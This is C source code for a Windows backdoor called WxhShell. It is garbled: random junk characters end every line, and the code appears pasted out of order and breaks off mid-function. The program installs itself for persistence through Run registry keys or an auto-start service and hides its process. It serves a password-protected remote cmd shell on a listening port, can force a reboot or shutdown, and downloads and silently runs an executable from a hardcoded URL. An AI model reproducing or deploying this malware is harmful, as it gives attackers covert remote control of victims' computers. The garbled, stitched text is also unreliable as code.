    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); irlFB#..  
    if(Boot(SHUTDOWN)) 2;Z 0pPR&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B#g~c<4<  
    else { }TTghE!  
    closesocket(wsh); cSPQ NYU:  
    ExitThread(0); 3q%z  
    } 9QU\J0c/  
    break; .)/ ."V  
    } v< P0f"GH  
  // 获取shell MFq?mZ,  
  case 's': { ()aCE^C  
    CmdShell(wsh); kZ5#a)U<  
    closesocket(wsh); T<*)Cdid  
    ExitThread(0); *O[/KR%  
    break; }#7l-@{<  
  } WOn53|GQK  
  // 退出 d[6 'w ?  
  case 'x': { ZLzc\>QX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q"I(3 tp9[  
    CloseIt(wsh); 4M&$wi  
    break; ;a?<7LIx  
    } 5 tKgm/  
  // 离开 LzL)qdL  
  case 'q': { aL:|Dr3SX  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xN*k&!1&  
    closesocket(wsh); 1 iox0  
    WSACleanup(); i(% 2t(wf+  
    exit(1); M0$MK>  
    break; W.^zN'a  
        } K+)3 LR^  
  } +6uf6&.@~  
  } O84:ejro  
_#V&rY&@  
  // 提示信息 K/zb6=->  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4FzTf7h^  
} yBy7d!@2  
  } E_~e/y"-  
T^4 dHG-(  
  return;  0J+WCm`  
} z I2DQ] 9  
vD8pVR+  
// shell模块句柄 [~8U],?1  
int CmdShell(SOCKET sock) XncX2E4E  
{ X| \`\[  
STARTUPINFO si; ow'G&<0b  
ZeroMemory(&si,sizeof(si)); 81E EYf  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  D_dv8  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z7bJ<TpZ  
PROCESS_INFORMATION ProcessInfo; s'yR 2JYv  
char cmdline[]="cmd"; sgO au\E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CzG[S\{+  
  return 0; U@q5`4-!8  
} +d#8/S*  
OH06{I>;  
// 自身启动模式 [\3ZMH *  
int StartFromService(void) E"'u2jEG^  
{ se.HA  
typedef struct f_)#  
{ EPJ>@A>;D  
  DWORD ExitStatus; Q~(Qh_Ff  
  DWORD PebBaseAddress; .#~!w!T  
  DWORD AffinityMask; wb9(aS4  
  DWORD BasePriority; :|9vMM^$  
  ULONG UniqueProcessId; Vz0(D  
  ULONG InheritedFromUniqueProcessId; 'yVe&5?  
}   PROCESS_BASIC_INFORMATION; R ?s;L r  
m!KEK\5M?  
PROCNTQSIP NtQueryInformationProcess; ^1~lnD~0  
x:0swZ5Z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ?#GTD?3d  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Pm6U:RL  
qv(3qY  
  HANDLE             hProcess; gbYM1guiD  
  PROCESS_BASIC_INFORMATION pbi; eyh}O  
6am6'_{  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); s<LnUF1b  
  if(NULL == hInst ) return 0; DTH}=r-  
C-A? mIC  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bM"?^\a&Q  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); T O]7cC  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 2H w7V3q  
 omg#[  
  if (!NtQueryInformationProcess) return 0; !U:&8Le  
|J4sQ!%K  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |=ph&9  
  if(!hProcess) return 0; 7k,BE2]"  
TrzAgNt  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vE,^K6q0`  
qCI7)L`  
  CloseHandle(hProcess); 05{}@tW-  
XYR q"{Id  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); xTu J~$(  
if(hProcess==NULL) return 0; 0?oL zw&  
st* sv}  
HMODULE hMod; d+G%\qpzQ  
char procName[255]; T16gq-h'  
unsigned long cbNeeded; kh# QT_y  
,9d]-CuP;  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); .'A1Eoo0d  
~tWh6-:|{J  
  CloseHandle(hProcess); OU.}H $x"  
uWKmINjv'  
if(strstr(procName,"services")) return 1; // 以服务启动 T8Mqu`$r  
lCUYE"o  
  return 0; // 注册表启动 \,Ws=9f  
} qJT/4 8lf_  
7'e sJ)2  
// 主模块 k L6s49  
int StartWxhshell(LPSTR lpCmdLine) z H-a%$5  
{ %w[Z/  
  SOCKET wsl; :8eI_X  
BOOL val=TRUE; <A=1]'1\r  
  int port=0; {|>Wwa2e  
  struct sockaddr_in door; \~A qA!)6  
wH!$TAZ:Yw  
  if(wscfg.ws_autoins) Install(); L(C`<iE&3  
izcaWt3 a  
port=atoi(lpCmdLine); U!-Nx9  
Dq~;h \='  
if(port<=0) port=wscfg.ws_port; Z5(9=8hB/  
I ?Dp *u*  
  WSADATA data; 6 /YJA*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; d2Q*1Q@u  
uarfH]T{  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   P~{8L.w!>W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .,z6a  
  door.sin_family = AF_INET; {aUTTEu  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); -GFZFi  
  door.sin_port = htons(port); ,.0bE 9\o  
MuOKauYa  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ou-UR5  
closesocket(wsl); v =y 2  
return 1; I4jRz*Ufe?  
} ;x\oY6:  
e^\e;>Dh>  
  if(listen(wsl,2) == INVALID_SOCKET) { WqF,\y%W*  
closesocket(wsl); t}_ #N'`  
return 1; Q >/,QX  
} lh'S_p8g  
  Wxhshell(wsl); SC~k4&xy  
  WSACleanup(); exhU!p8  
)L:e0u  
return 0; z5$Q"Y.D  
^C'0Y.H S  
} ?MRY*[$  
70 7( LG  
// 以NT服务方式启动 Oq.ss!/z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Oh$:qu7o0&  
{ c$ZV vu  
DWORD   status = 0; PX|@D_%Y=  
  DWORD   specificError = 0xfffffff; G~<UP(G  
;9k>; g3m  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;B=aK"\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I2*rtVAP'j  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6E}9uwQ  
  serviceStatus.dwWin32ExitCode     = 0; Pt"H_SW~k  
  serviceStatus.dwServiceSpecificExitCode = 0; HGGq;Nbm  
  serviceStatus.dwCheckPoint       = 0; :/|"db&`  
  serviceStatus.dwWaitHint       = 0; O,B\|pd2  
t 6nRg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); acl<dY6  
  if (hServiceStatusHandle==0) return; nf /*n  
{3`385  
status = GetLastError(); AVpg  
  if (status!=NO_ERROR) $].htm  
{ (*$bTI/~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u)0I$Tc"  
    serviceStatus.dwCheckPoint       = 0; J |q(HpB  
    serviceStatus.dwWaitHint       = 0; mF*x&^ie  
    serviceStatus.dwWin32ExitCode     = status; E7A!,A&>  
    serviceStatus.dwServiceSpecificExitCode = specificError; &+2l#3}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e NIzI]~  
    return; 1.!U{>$  
  } pIlEoG=[_  
p' >i3T(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; xN-,gT'!  
  serviceStatus.dwCheckPoint       = 0; F]3Y,{/V  
  serviceStatus.dwWaitHint       = 0; SL4?E<Jb  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P'Rw/c o  
} 5Ml=<^  
'{d@Gc6.  
// 处理NT服务事件,比如:启动、停止 )]1hN;Nz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +x"uP  
{ _B^zm-}8|B  
switch(fdwControl) {.:$F3T  
{ C{}_Rb'x  
case SERVICE_CONTROL_STOP: MoIh =rw  
  serviceStatus.dwWin32ExitCode = 0; >c,s}HJ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; hN-@_XSw<I  
  serviceStatus.dwCheckPoint   = 0; A8Ju+  
  serviceStatus.dwWaitHint     = 0; qNEp3WY:  
  { @gI1:-chB  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); FO2e7p^Q  
  } 7N9NeSH  
  return; P3_.U8g$r  
case SERVICE_CONTROL_PAUSE: @ma(py  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9-ozrw8t  
  break; 'h*jL@%TT  
case SERVICE_CONTROL_CONTINUE: 9|+6@6VY!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1^\w7Rew 2  
  break; eTuqK23  
case SERVICE_CONTROL_INTERROGATE: /v R>.'  
  break; R+M&\ 5  
}; t2N W$ -E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); W7>2&$  
} ^dQ{vL@9b9  
Gnkar[oa&  
// 标准应用程序主函数 /'/I^ab  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) o<`hj&s  
{ vQMBJ&  
]\78(_o.zz  
// 获取操作系统版本 ~G!JqdKJ0  
OsIsNt=GetOsVer(); UnhVppnex  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A lU^ ,X  
=kd$??F  
  // 从命令行安装 :?t~|7O:  
  if(strpbrk(lpCmdLine,"iI")) Install(); ux;?WPyr  
*M.xVUPr  
  // 下载执行文件 L|=5jn9 :  
if(wscfg.ws_downexe) { !U^{`V jp[  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) QU).q65p  
  WinExec(wscfg.ws_filenam,SW_HIDE); pO` KtagL  
} Z>rY9VvWD  
d ]P~  
if(!OsIsNt) { L44m!%q  
// 如果时win9x,隐藏进程并且设置为注册表启动 r"7n2   
HideProc(); JB_fS/I  
StartWxhshell(lpCmdLine); [{x}# oRSE  
} F/>_PH57  
else t^rw@$"}  
  if(StartFromService()) _P;D.>?  
  // 以服务方式启动 ~4~`bT9  
  StartServiceCtrlDispatcher(DispatchTable); "/W[gP[y%  
else =6%oW2E\  
  // 普通方式启动 {0zn~+  
  StartWxhshell(lpCmdLine); \(o"/*  
]R__$fl`8  
return 0; )BP*|URc  
} m~=~DMj  
]\$/:f-2  
OmYVJt_  
aB9!}3@  
=========================================== 0 'QWa{dS\  
d$dy6{/YD  
zZ5:)YiW-  
w0pMH p'Y  
pfA6?tP`  
U.%Kt,qB  
" JfY*#({y  
K1B9t{T  
#include <stdio.h> [Kg b#L'{  
#include <string.h> V~J5x >O  
#include <windows.h> UO/sv2CN  
#include <winsock2.h> @mp`C}x"0&  
#include <winsvc.h> wj|Zn+{"nF  
#include <urlmon.h>  6@S6E(^  
c0!.ei  
#pragma comment (lib, "Ws2_32.lib") Tb/TP3N  
#pragma comment (lib, "urlmon.lib") d0 cL9&~qW  
 {_rfhz  
#define MAX_USER   100 // 最大客户端连接数 /7Q|D sa  
#define BUF_SOCK   200 // sock buffer 5j%G7.S\  
#define KEY_BUFF   255 // 输入 buffer |{jT+  
3a/n/_D  
#define REBOOT     0   // 重启 d[ N1zQW  
#define SHUTDOWN   1   // 关机 ,Kit@`P%  
[}RoZB&I  
#define DEF_PORT   5000 // 监听端口 my=f}%k=  
.R9Z$Kbq  
#define REG_LEN     16   // 注册表键长度 c\bL_  
#define SVC_LEN     80   // NT服务名长度 Xlo7enzY  
cs9^&N:w[  
// 从dll定义API =W(*0"RM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {7o#Ve  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); lW bu`y  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); : Mf"   
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )8Va%{j  
azcPeAe  
// wxhshell配置信息 1+o]+Jz|  
struct WSCFG { ,S)r%[ru^  
  int ws_port;         // 监听端口 !_S>ER  
  char ws_passstr[REG_LEN]; // 口令 J 3!~e+wn  
  int ws_autoins;       // 安装标记, 1=yes 0=no |s|}u`(@9  
  char ws_regname[REG_LEN]; // 注册表键名 |"H 2'L$  
  char ws_svcname[REG_LEN]; // 服务名 4 1_gak;  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 6CJMQi,kn  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rS8a/d~;0  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 IThd\#=  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 4<s.|W`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~%{2Z_t$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 "Fz.# U  
NnZW@ln"|  
}; Z$oy;j99y  
Xtp8 ^4Va  
// default Wxhshell configuration q76POytV|  
struct WSCFG wscfg={DEF_PORT, 2*Z2uV^  
    "xuhuanlingzhe", (8nv&|  
    1, ,d G.67  
    "Wxhshell", Lu.zc='\  
    "Wxhshell", pwUXM?$R  
            "WxhShell Service", w~'xZ?  
    "Wrsky Windows CmdShell Service", 9I/b$$?D  
    "Please Input Your Password: ", 6( HF)z  
  1, :t?B)  
  "http://www.wrsky.com/wxhshell.exe", V0ze7tSG[f  
  "Wxhshell.exe" ,'#TdLe  
    }; E-LkP;  
~zp8%lEe  
// 消息定义模块 [B0 BHJ~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 7]{g^g.9-  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZbnAAbfKH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; L"_X W no  
char *msg_ws_ext="\n\rExit."; _=v#"l  
char *msg_ws_end="\n\rQuit."; Aoa8Q E   
char *msg_ws_boot="\n\rReboot..."; N(/)e  
char *msg_ws_poff="\n\rShutdown..."; Hxu5Dx5![  
char *msg_ws_down="\n\rSave to "; igO>)XbsM  
XN<SKW(H3  
char *msg_ws_err="\n\rErr!"; WhPP4 #  
char *msg_ws_ok="\n\rOK!"; A=|XlP$6  
:uL<UD,vu3  
char ExeFile[MAX_PATH]; ,GbmL8P7Y  
int nUser = 0; &|>@K#V8-;  
HANDLE handles[MAX_USER]; c{#2;k Q,  
int OsIsNt; =]5tYIU  
Y\xEPh  
SERVICE_STATUS       serviceStatus; >7U/TVd&  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f@*69a8  
d\z6Ob"t  
// 函数声明 *X5)9dq  
int Install(void); -YoL.`s1   
int Uninstall(void); *D5 xbkH=.  
int DownloadFile(char *sURL, SOCKET wsh); M!&Hn,22  
int Boot(int flag); U ?[ (  
void HideProc(void); xJq|,":gj  
int GetOsVer(void); ]xC56se  
int Wxhshell(SOCKET wsl); N:j 7J  
void TalkWithClient(void *cs); {q>%Sr]9  
int CmdShell(SOCKET sock); F>;Wbk&[|  
int StartFromService(void); Nc[@QC{  
int StartWxhshell(LPSTR lpCmdLine); yi7.9/;a  
R >xd*A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 6v%yU3l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \"P{8<h.3  
5K vp%   
// 数据结构和表定义 %9-^,og  
SERVICE_TABLE_ENTRY DispatchTable[] = #UGSn:D<i  
{ E@}F^0c  
{wscfg.ws_svcname, NTServiceMain}, *V>?m6y/  
{NULL, NULL} hBgE%#`s  
}; .7iRV  
&/@V$'G=  
// 自我安装 Tigw+2  
int Install(void) 'g#%>  
{ xAm tm"  
  char svExeFile[MAX_PATH]; >ohCz@~  
  HKEY key; ^[<BMk  
  strcpy(svExeFile,ExeFile); )JMqC+J3*t  
fit{n]g  
// 如果是win9x系统,修改注册表设为自启动 @yp0WB  
if(!OsIsNt) { M7#!Y=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~^wSwd[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wAh]C;+{  
  RegCloseKey(key); =Rd`"]Mnfb  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -()WTdIy  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dT| XcVKg  
  RegCloseKey(key); s-p)^B  
  return 0; d$IROZK-D  
    } NcA `E_3  
  } D4%J!L<P  
} .}faWzRH9  
else { s5~k]"{j  
Ny^ 1#R  
// 如果是NT以上系统,安装为系统服务 aZ@pfWwa:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); & ALnE:F  
if (schSCManager!=0) B{Q}^Mcxy  
{ la[ pA  
  SC_HANDLE schService = CreateService $;v! ,>  
  ( 5lsslE+:J  
  schSCManager, M}] *j  
  wscfg.ws_svcname, IQ&PPC  
  wscfg.ws_svcdisp, *p/,Z2f  
  SERVICE_ALL_ACCESS, RELNWr  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n;Bb/Z!~  
  SERVICE_AUTO_START, t:wBh'K~R8  
  SERVICE_ERROR_NORMAL, Wf c/?{  
  svExeFile, V?XQjH1X  
  NULL, HZ3;2k  
  NULL, }s,NM%oI  
  NULL, }rQQe:{]B  
  NULL, f' A$':Y  
  NULL TV`1&ta  
  ); 7hJX  
  if (schService!=0) 7@@g|l]  
  { s;A7:_z#7  
  CloseServiceHandle(schService); /2Izj/Q  
  CloseServiceHandle(schSCManager); @=kg K[t 9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); d(IJ-qJ N  
  strcat(svExeFile,wscfg.ws_svcname); aRTy=~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1!uBzO6/$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !wp1Df[  
  RegCloseKey(key); Pmv@  
  return 0; 4/ ` *mPW  
    } uV:R3#^  
  } py;p7y!gxA  
  CloseServiceHandle(schSCManager); tW/k  
} YR'F]FI  
} X]y:uD{  
(dlp5:lQz  
return 1; HH*y$  
} jG>W+lq  
O9daeIF0#  
// 自我卸载 1(p:dqGS  
int Uninstall(void) J9lZ1,22  
{ `cp\UH@  
  HKEY key; A8f.h5~9  
5L3+KkX@  
if(!OsIsNt) { FKO2UY#&7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <,CrE5Pl  
  RegDeleteValue(key,wscfg.ws_regname); G*IP?c>=  
  RegCloseKey(key); 0+SDFh  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <WP@q&^k\  
  RegDeleteValue(key,wscfg.ws_regname); m-t: ' B  
  RegCloseKey(key); i"&FW&W  
  return 0; 9FDu{4:  
  } sD3ZZcy|=  
} ~N!HxQ  
} (;#c[eKy  
else { m* m),mZ"  
^+x?@$rq  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >!Yuef <P  
if (schSCManager!=0) %o8o~B|{.U  
{ 3}nk9S:jr  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Z:9Q~}x8  
  if (schService!=0) ?=&; A  
  { m,)s8_a  
  if(DeleteService(schService)!=0) { g-qXS]y7  
  CloseServiceHandle(schService); G(t:s5:  
  CloseServiceHandle(schSCManager); l@);U%\pS  
  return 0; FJeh=\  
  } ZA="Dac  
  CloseServiceHandle(schService); BAQ-1kSz  
  } -'Z Gc8)  
  CloseServiceHandle(schSCManager); _)45G"M  
} s#Dj>Fej  
} s70Z&3A  
AERJ]$\  
return 1; f=^xU P  
}  uo`R  
e(7#>O%1  
// 从指定url下载文件 j*>J1M3E  
int DownloadFile(char *sURL, SOCKET wsh) kG D_w  
{ j !*,(  
  HRESULT hr; 8R*;8y_  
char seps[]= "/"; e \Qys<2r  
char *token; 9[qOfIny  
char *file; L3{(B u  
char myURL[MAX_PATH]; P}4&J ^  
char myFILE[MAX_PATH]; >W>rhxU  
vzS b(  
strcpy(myURL,sURL); 8$NVVw]2,  
  token=strtok(myURL,seps); aMI;; iL^  
  while(token!=NULL) :UdW4N-  
  { rMwa6ZO'm;  
    file=token; &ZD@-"@  
  token=strtok(NULL,seps); jC&fnt,O  
  } t/[lA=0 )2  
*duG/?>P  
GetCurrentDirectory(MAX_PATH,myFILE); +iC:/CJL  
strcat(myFILE, "\\"); &>qUT]w  
strcat(myFILE, file);  u 8o!  
  send(wsh,myFILE,strlen(myFILE),0); 2}&ERW  
send(wsh,"...",3,0); btg= # u  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <)ZQRE@  
  if(hr==S_OK) R%.`h  
return 0; p -$C*0{  
else v\@qMaPY  
return 1; #R5\k-I  
O_;BZzT  
} _&l8^MD  
jV2H61d  
// 系统电源模块 oEX,\@+u  
int Boot(int flag) a*(Zb|g  
{ 44e]sT.B  
  HANDLE hToken; |*?N#0s5h  
  TOKEN_PRIVILEGES tkp; 2BC!,e$Z  
\~#\ [r_  
  if(OsIsNt) { L$=R/l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); IBNg2Y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z#+WK| a  
    tkp.PrivilegeCount = 1; %<kfW&_>w  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; eP2Q2C8g  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !EIH"`>!  
if(flag==REBOOT) { (GRW(Zd4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0'd@8]|H  
  return 0; A}Iyl   
} eY 3:Nl^  
else { a>GA=r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) D#<y pJR  
  return 0; u [qy1M0  
} SGl|{+(A  
  } `)a|Q  
  else { '5aA+XP|  
if(flag==REBOOT) { H s)]  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) K21Xx`XK  
  return 0; MNs<yQ9I'  
} #w L(<nE  
else { 1tXc7NA<  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) P{dR pH|  
  return 0; 6Y[&1c8  
} rv[BL.qV  
} Fe[6Y<x+:  
r5&c!b\  
return 1; W4 q9pHQ  
} ]/ !*^;cY(  
8TYh&n=r  
// win9x进程隐藏模块 c+{XP&g8_J  
void HideProc(void) %;4#?.W8  
{ }|h-=T '  
R{}_Qb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yHM2 9fEZk  
  if ( hKernel != NULL ) _$*-?*V&  
  { 5 n4/}s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9I 6^-m@:  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); IO #)r[JZ  
    FreeLibrary(hKernel); 36'J9h\  
  } ruqE]Hx9(  
w+rw<,u%  
return; J>dj]1I  
} G%gdI3h1Z  
L\Oxyi<{  
// 获取操作系统版本 w 8o?wx*  
int GetOsVer(void) &[\zs&[@y  
{ *QW.#y>"j  
  OSVERSIONINFO winfo; ?_pd#W=!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  UDpI @  
  GetVersionEx(&winfo); Ct /6<  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) MS SHMR  
  return 1; w;VUP@Wm  
  else lItr*,A]  
  return 0; ZbH6$2r  
} 6:r1^q6A9L  
Z[+Qf3j}o6  
// 客户端句柄模块 T5~Qfl?Y  
int Wxhshell(SOCKET wsl) 6w<p1qhW  
{ $o\U q  
  SOCKET wsh; + $~HRbo  
  struct sockaddr_in client; YVHDk7s  
  DWORD myID; !/&~Feb  
LY0/\Z"N  
  while(nUser<MAX_USER) /9y'UKl7[  
{ YS"76FJ  
  int nSize=sizeof(client); HV3wUEI3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9 DXu*}  
  if(wsh==INVALID_SOCKET) return 1; ;c~DBJg'|  
hYCyc -W  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); qfY=!|O  
if(handles[nUser]==0) 1_W5@)  
  closesocket(wsh); b!37:V\#}  
else Pb D|7IM  
  nUser++; I(WND/&  
  } \;tKss!|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 6 ud<B  
NOmSLIgt7  
  return 0; Vo2frWF$  
} d>4e9M "  
: [vp.vw}/  
// 关闭 socket ]O&A:Us  
void CloseIt(SOCKET wsh) aEZn6k1  
{ eEe8T=mD  
closesocket(wsh); ?Ve5}N  
nUser--; :S7yM8 b`  
ExitThread(0); *t|j+*c}  
} 0\}j[-`pF  
4_I,wG@  
// 客户端请求句柄 -+I! (?  
void TalkWithClient(void *cs) +TX p;6pA  
{ \ZDT=?  
GrQAho  
  SOCKET wsh=(SOCKET)cs; Z*e7W O.  
  char pwd[SVC_LEN]; |-aj$u%~  
  char cmd[KEY_BUFF]; \&qVr1|  
char chr[1]; CX'E+  
int i,j; izW l5}+'B  
$BBfsaJPT  
  while (nUser < MAX_USER) { K6oX nz}  
^9b `;}).  
if(wscfg.ws_passstr) { hJ4.:  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ujWHO$uz!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ng<`2XgU  
  //ZeroMemory(pwd,KEY_BUFF); 246lFx G.  
      i=0; c`}X2u]k  
  while(i<SVC_LEN) { Yh%wf3 UEO  
{4m"S 7O  
  // 设置超时 G =4y!y  
  fd_set FdRead; fY"28#   
  struct timeval TimeOut; YXg uw7%\  
  FD_ZERO(&FdRead); z|?R=;,u`  
  FD_SET(wsh,&FdRead); }Voh5*$E`  
  TimeOut.tv_sec=8; 7VXeu+-P  
  TimeOut.tv_usec=0; n)7icSc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (MIw$)#^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); )Z%+~n3o'  
t5Mo'*j =  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); rYS D-Kq  
  pwd=chr[0]; 4F4u1r+  
  if(chr[0]==0xd || chr[0]==0xa) { :{ T#M$T  
  pwd=0; ZAH<!@qh  
  break; udZ: OU<  
  } #rr-4$w+  
  i++; =GVhAzD3  
    } uWInx6p  
`^ _:  
  // 如果是非法用户,关闭 socket XfrnM^oty  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9|WWA%p  
} wqOhJYc  
oX4uRc7wR  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); g[jZ A[[  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); h^*{chm]  
Xh/av[Q  
while(1) { ui{_w @o  
/nP=E  
  ZeroMemory(cmd,KEY_BUFF); r?I(me,  
iP%=Wo.  
      // 自动支持客户端 telnet标准   Pvw%,=41O  
  j=0; \veL5  
  while(j<KEY_BUFF) { dZgfls  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8W>l(w9M  
  cmd[j]=chr[0]; =x'%zUgE  
  if(chr[0]==0xa || chr[0]==0xd) { -*M:OF"Zh  
  cmd[j]=0; 3Q}Y?rkJ5  
  break; ]c2| m}I{:  
  } \^4$}@*]  
  j++; #+PbcL  
    } ACYn87tq  
TMCA?r%Y\  
  // 下载文件 |pR$' HO  
  if(strstr(cmd,"http://")) { 8Q -F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l7!)#^`2_  
  if(DownloadFile(cmd,wsh)) )x&@j4,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Ab_PAw  
  else |=T<WU1$  
